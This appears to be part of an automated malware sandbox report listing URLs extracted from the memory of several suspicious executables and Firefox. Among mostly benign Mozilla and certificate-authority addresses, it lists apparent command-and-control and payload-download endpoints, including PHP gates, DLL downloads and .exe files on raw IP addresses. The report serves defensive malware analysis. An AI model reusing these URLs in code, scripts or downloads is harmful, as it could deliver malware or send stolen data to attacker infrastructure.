Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll7
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllA
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllW
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllbecf79229cb002.php
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllli
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllls
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll3
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllN
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllm
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllJ?
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllK
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllj?
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllrverAp
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllz?
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/ZT
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpava
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb%/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe67c4f18f0819a92c762bbb60cbcension
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpox
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phprowser
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpz%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.20644cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbceristics
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.20668b591d6548ec281/ge
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dllm-data;
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.20668b591d6548ec281/vcruntime140.dllwserMetricsen
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206Local
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: http://185.215.113.206Roaming
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3025966445.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZc
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcodednL
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnc
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedJL
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~b
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe5062/9
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe50623847q
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exeO
Source: 22a4a09ee3.exe, 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/rnd.exe05
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/rnd.exech%F
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shandlerSvc
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.000000000110D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microh
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBC84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2972793367.000001F5DBDD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/strings
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://html4/loose.dtd
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://localhost:9229/json.CN
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2956154917.000001F5D9CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2786773809.000001F5DA53C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901864507.000001F5D54A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E18BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2995778497.000001F5E1F8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2951008774.000001F5D9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2956154917.000001F5D9CCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2956154917.000001F5D9CFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955760839.000001F5D9BB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2951008774.000001F5D9704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2963190699.000001F5DA533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3011486050.000001F80003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2785818739.000001F5DA540000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2992274625.000001F5E1BA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E3503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sMust
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updatePREF_APP_UPDATE_SOCKET_RETRYTIMEOUTSERVICE_NOT_ENOUGH_COMMAND_
Source: firefox.exe, 0000001A.00000002.2973623994.000001F5DBE76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E1883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9BE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2957047249.000001F5D9D16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2971296230.000001F5DBB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2970783529.000001F5DBAE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2971296230.000001F5DBB59000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.2973623994.000001F5DBEAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulOpenH264
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/arrows
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D9E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulonpopupshown=dropmarkerpopupshown
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D9E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryEnviron
